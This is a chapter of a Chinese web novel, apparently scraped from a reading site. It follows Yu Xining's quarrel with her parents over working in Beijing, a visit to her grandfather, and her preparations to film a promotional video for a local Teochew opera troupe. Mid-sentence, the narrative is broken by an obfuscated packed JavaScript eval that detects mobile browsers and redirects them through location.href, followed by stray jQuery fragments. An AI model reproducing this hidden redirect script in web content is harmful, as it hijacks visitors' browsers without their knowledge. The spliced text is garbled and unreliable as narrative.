39. 接活

作品:《红花仙草[群像]

    隔壁卧室,陈慧柔靠在床头沉默着不说话,余序洲把房间里的电视调成静音模式,就怕吵到陈慧柔。


    “我真是把她惯坏了。”


    从小到大,什么都依着余希柠,陈慧柔自认为自己在教育女儿这方面是足够开明,现在看来,就是管得太松了,才让她什么都敢做。


    余序洲拿着遥控器坐在床尾,随口接了句:“会不会是因为朋友鼓动,她才想去北京的?”


    “她自己都说不是了。”


    陈慧柔头疼得厉害,早起的喜悦被余希柠三两句话冲得一干二净:“她这股劲真不知道是像谁,真怕她像填志愿时一样,说要去北方就坚决要去,打死不肯改。”


    “那你会像之前一样,尊重她的选择吗?”


    余序洲回过头看陈慧柔,时间过得真快,还记得四年前填报志愿那晚,他们俩也是彻夜难眠。


    余希柠说什么都要选北方的学校,说想去感受北方文化,做父母的尽管不舍但也努力说服自己,只是去上大学,放假就回来了。


    眼下,似乎又回到了相似的岔路口。


    陈慧柔摇头,坚定道:“我不会了,工作和读书不一样,她太过理想化,我总得帮着纠正才行。”


    余序洲:“我今晚已经和她说了我的意见,我反正是不同意。”


    “如果她能像梓钰那么省心就好了,我们就这一个女儿,将来还要依靠她,怎么就不能待在我们身边,老想着往外跑。”


    陈慧柔扯了扯被单盖住膝盖,声音里隐约带了些哭腔和委屈:“我今晚那话真不是乱说,我真觉得她就想远离我们,为什么啊?我哪里做得还不够好吗?”


    因为自己小时候得不到父母的重视和偏爱,所以对余希柠,陈慧柔从来都是无条件的付出,围着她转,以她为世界的中心。到头来,这个中心却要主动偏离自己,拒绝自己。


    余序洲关上电视,拍抚陈慧柔的后背:“睡吧,等明天早上,我再和她谈谈。”


    次日一早,余希柠是被许于薇的电话吵醒。


    “希柠,你在潮州这边有认识靠谱的朋友懂拍摄和剪辑吗?我之前约了个摄影师给我爸他们剧团拍宣传片,临了突然放我鸽子。”


    之前中央电视台编导专程到饶平观看布马舞,将它作为综艺和春晚遴选节目,今年年初央视戏曲春晚在潮州分会场进行节目录制,饶平布马舞也参加了。


    如今黄冈被□□授予“中国民间文化艺术之乡”,借着这个名头,许于薇想帮父母的剧团拍个宣传片进行宣传,没准之后演出的机会会更多。谁知好不容易沟通好的摄影师,说不来就不来了。


    “明天剧团在霞西那边有演出,你认识摄影圈的人,能不能帮我找一个时间合得上,性价比高的?”


    许于薇知道余希柠副业在做剪辑,实在想不到该怎么办了才打电话来麻烦。


    “明天就要拍?”余希柠挠挠头,她认识的老师都是外省的,这么临时的拍摄也很难沟通:“宣传片要求高吗?你看我行不行?”


    许于薇:“对呀!我怎么把你给忘了,你高中可是摄影社的。”


    “拍平面和拍视频还不一样,但如果要求不高,我应该可以,就是得去借一下设备。”


    余希柠一边接电话一边起身,刚趿拉着拖鞋出房门,迎面就见到准备来叫她起床的陈慧柔。


    母女俩对视一下,陈慧柔见余希柠在打电话,就没说话,指了指餐桌上的早餐,然后拿着车钥匙出门。


    许于薇在电话另一头追问设备难不难借:“要求的话,就那种节目宣传片,我不讲究创意什么的。”


    “行,我吃完饭问一下。”


    许于薇松了口气:“感谢天感谢地,感谢余老师救火救急,我下周末回家,你还在吗?到时候请你吃饭。”


    余希柠:“许警官难得有假期还要折腾回来?这顿不急,留着等我去了广州再请。”


    许于薇:“啊!你什么时候要来?”


    余希柠把电话开免提放在洗手池旁边,边挤牙膏边回答:“过一阵子吧,去了提前和你说。”


    “好!那宣传片的事儿就拜托你啦,我待会把地址和我妹的联系方式发给你,到时你联系她。”


    “嗯嗯。”


    余希柠一口泡沫,含糊说完拜拜就把电话给挂了。


    高中和小学还没放假,余序洲跟陈慧柔今天都有课,余希柠一个人在家,倒了杯温水喝完,磨蹭半天才进餐厅。


    餐桌上留了碗白粥、一碟鱼肉还有菜脯煎蛋。


    她在家吃饭,陈慧柔每次都会把鱼肉先夹出来,自己负责处理鱼头和鱼刺。这习惯即便是在吵架生气时也没有改变。


    答应了帮许于薇拍摄宣传片,首要任务得解决相机问题,余希柠一边吃饭一边翻手机联系人,想着该和谁借。


    这两年同学陆续毕业,基本都往外发展,选择返乡创业的很少,这会儿要借个相机,难度不小。忽然,列表里出现了一个名字,陈泽豪——高中摄影社社长!


    之前经常看他拍一些县城空镜发朋友圈,有时候都不是假期,估计经常回来。余希柠直接发信息问,很快就收到了回复。


    陈泽豪很是爽快:“可以啊,我晚上回家联系你,到时候你过来拿。”


    相机问题顺利解决,余希柠放下心来,洗好碗筷换了身衣服出门,去余光亮家。每次放假回来她都会先去老人那儿坐一坐,免得被说回来了都不见人影,不懂得尊老。


    余稚乔这几年没找工作,就是在家炒股,余光亮这会儿也拿着报纸在研究,旁边还放了本笔记本,上面记着一些数据和股票代码。


    见余希柠来了,余光亮摘下老花镜:“什么时候回来的?没听你爸说啊。”


    “昨天。”余希柠路上买了点水果,放下时看了眼笔记本:“爷爷,你这还炒股呢?我以为就姑姑在炒?”


    “我偶尔帮她看看。”


    余稚乔正在晒被子,听见谈话声出来,笑着招呼。


    “希柠来啦,你坐会,吃花生吗?还是要喝露露?”


    “不用了小姑,我刚吃完饭过来的,肚子还饱着。”


    挑股市交易日来做客喝茶,确实有点没眼力见,余希柠一个人煮水沏茶,无聊得很。


    余稚乔晒完被子回客厅,闲聊两三句家常后就去看电脑,余光亮这边也是聊着聊着,注意力就转到股票上。


    眼瞅着坐了有半小时,余希柠慢慢站起身:“爷爷,我先走了,下次再来看您。”


    “哦,要走啦?不再多坐会?”


    余希柠笑了笑:“不了,您看电视吧,小姑,我走了。”


    “这么快?”


    都是客气话,余稚乔送余希柠到门口,看着她换好鞋子,挥手说拜拜。刚下两节台阶,门砰的一声关上。


    余希柠垂眸加快下楼的脚步,一切还和从前一样。


    书里写的,长辈目送离开直至再也看不见小孩身影时才依依不舍地把门关上的画面,在她这里从未发生过。


    余希柠回到家,余序洲已经回来了。


    “去哪了?”


    “爷爷家。”


    余序洲从不会跟余希柠因为争吵而冷处理不说话,知道她主动去爷爷家,甚至面色还有些缓和。


    “你爷爷和小姑在看股市?”


    “嗯。”


    “问你找工作的打算了没?”


    余希柠换好衣服出来,听到这句还顿了下:“小姑问了,爷爷没问。”


    “那你怎么说,说你要去北京找工作?”


    余序洲提了一下裤腿在沙发主位坐下,陈慧柔还没回,他不知道午饭要吃什么,也煮了壶水开始沏茶。


    余希柠:“我没这么说。”


    余序洲又问:“过了一晚上,想明白了没有?”


    见余序洲是这个态度,余希柠就知道这件事是没有任何商量的余地了,除非她要断绝父母关系,离开这个家。


    “父母是过来人,比你多活了几十年总归是多了些经验跟阅历。今天你或许会埋怨,等到以后就会回过头来感谢父母了。”


    好熟悉的几句话,跟刻在骨子里一样深刻,余希柠下意识蹙眉,她反对这样的说服方式。


    “那要是十几年后证明我去北京发展是对的呢?是埋怨能弥补得了的?”


    余序洲冲水的动作顿住,水漫过茶壶倒在茶盘上,溅起的水珠子烫到了他的手,这才赶紧停下。


    “你——”


    余希柠径直往洗手间走去。


    陈慧柔回来后,还是没有主动和余希柠说话,似乎已经打定了主意,如果余希柠不收起去北京找工作的心思,就不会原谅她。


    余希柠不想去刻意讨好,过了昨夜,即便心中那杆秤已经有了偏向,但她仍需要时间去顺清楚。说到底,就是得说服自己。


    饭后,余希柠钻进房间里找参考样片,筛了几个自己能保证拍出差不多效果的给许于薇选。


    等选完,她把参考片下载到手机上反复看细节,又写了几个简单的分镜,具体还得看明天现场发挥。


    “他们明天正式表演,下午会在霞西吗?我提前过去看看?”


    许于薇:“我问下我妹。”


    很快有了回复,剧团下午就在那边彩排了,余希柠过去后直接找许若楠就行。


    从教师村到霞西,骑自行车得将近半小时,开摩托车的话方便些,但不知道陈慧柔下午有没有课。余希柠一想到两条腿来回两趟,还没出发就已经觉得发酸发软,还是厚着脸皮去找陈慧柔要车钥匙。


    “你去霞西做什么?”


    陈慧柔还是那个冷淡的态度。


    余希柠:“答应于薇帮她爸的剧团拍条宣传片,下去过去看彩排,明早正式拍。”


    陈慧柔:“钥匙在架子上你自己拿,出门时把头盔戴上。”


    “好。”


    余希柠没去过霞西村委会,照着许若楠给的地址开着摩托车过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103649|163237||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去,到门口就被门卫拦住询问来因。


    得知是来拍宣传片的,门卫大叔友好放行:“好好拍啊小姑娘,多宣传宣传我们非遗文化。”


    许若楠接到余希柠的电话跑出来,脸上还带着妆。


    “已经开始彩排了?”


    “没呢,场地还没腾出来,希柠姐,我先带你去休息室?我爸妈都在那。”


    在许若楠的带领下,余希柠第一次见到许于薇的父母,由于都扮着相,也看不出原本面容,但长辈态度都很亲和。


    知道余希柠是来帮忙拍宣传片的,连连说了好几声谢谢,还主动问需要怎么配合。


    “我们也不懂这些,你说要怎么拍,我们就配合你。”


    余希柠:“我一开始会取一些个人的亮相镜头,在正式表演之前,后面想要简单采访一下主创团队。”


    “采访的事交给若楠来,她读过书她来,我们都不会说普通话的。”


    许爸爸摆摆手不好意思地拒绝。


    余希柠:“用潮汕话说一两句也可以的。”


    许若楠帮着劝:“爸,配合一下嘛,我们要宣传一下潮剧和剧团,让更多人看见才会有演出机会啊。”


    许爸爸挠挠头:“说什么嘛……”


    “可以简单说一下你们这出戏讲的什么故事,剧团什么时候开始表演的,对潮剧有什么期盼,都可以说。”


    余希柠从包包里翻出一份稿子,她其实也写了一些提纲跟回答方向:“叔叔,这是我提前备的,但都是从网上找来的句子,未必贴切,您可以看后修改。”


    “你这小姑娘太细心了,好好好,若楠你收起来看,完了给我和你妈说一下什么意思,我们晚上回家排练排练。”


    许爸爸也是很质朴的人,一直把谢谢二字挂在嘴边,余希柠都有些不好意思了。


    闲聊几句后他们开始彩排,余希柠去到表演台那边等着,这是她第一次正儿八经看潮剧。


    潮州台和饶平台在固定时段会播放潮剧,去爷爷、外公家时常能看见,特别是外公,连收音机里都是潮剧。


    听陈慧柔说,好几十年的习惯了,家里还没电视机时,都是用收音机听的。


    虽说自己是如假包换的潮汕人,说着一口流利的潮汕话,但要听懂潮剧,还是有难度。加上唱腔,短的台词还行,长的话,余希柠根本反应不过来,恨不得眼前有字幕提示。


    这剧目叫《荔镜记》,讲的是陈三和五娘的故事,坚守爱情,反抗礼教,短短一出潮剧里也是蕴含着世俗、礼教的讨论和嘲讽。


    余希柠用手机取了一些镜头,大致知道了明天该怎么拍,剧团里的演员们都很配合,沟通下来几乎没什么问题。


    “辛苦你了希柠姐,为我们剧团来回跑。”


    “小事,也是给我一个机会了解潮剧,以前都没有这么近距离接触过,感觉很不一样。”


    余希柠记得之前许于薇说过,想让许若楠去广州找份工作,不要跟着剧团混,可现在看,她好像还是在做戏,且已经开始演主角了。


    “你姐之前说过想让你去广州发展,你不愿意吗?”


    “她说过,我拒绝了。”许若楠有些腼腆,双手手指攥着:“我初中都没读完就跟着爸妈到处做戏,已经熟悉了这一行,也不会干别的。我不像我姐,书读得多,有一技之长,去了广州我也只能给别人打打工,干不长久。”


    许于薇家里的情况,余希柠听说过一点,姐妹俩还有个小弟,也不知道多大了。


    “我挺喜欢做戏的,如果这一行能干得专,也是本事。”


    余希柠:“确实,对了,你弟弟多大了?”


    许若楠:“在老家那边读初三。”


    余希柠点头:“也挺大的了。”


    不远处有布马舞练习,进来时余希柠也看到了那块牌匾——广东省非物质文化遗产传承基地饶平县保护中心。


    她从前以为布马舞只是饶平传统文化的一小部分,没想到早就被列入了广东省非物质文化遗产。


    “我去看会布马舞,你先回去忙吧,不用陪我。”


    许若楠:“好,那我们明天见。”


    再次这么近距离地观看布马舞表演,和小时候在镇一小学里看的学生训练不同,这里的布马舞显然更为专业,竹篾扎成的马首正以不可思议的角度后仰,伴随着老师们的步伐动作,金箔贴就的鬃毛在阳光下碎成千万粒火星。


    队形变化比大年初一营锣鼓时看到的要复杂,旁边还有音乐演奏团队,都是些五六十岁的老人,吹着唢呐、竹笛还有曲锣。唢呐一响,前排几只马匹腾跃,整齐舞步与青石板路面碰撞发出的声响,比檐角铜铃更先撞向晚霞。


    余希柠后退了两步站定,堪堪避开气场,日渐斜阳,惦记着还要回家吃饭,她收起手机转身往外走。路过门房,大叔抬手打招呼。


    余希柠颔首:“叔,我明儿还来,到时麻烦您开门放行。”


    大叔:“好嘞。”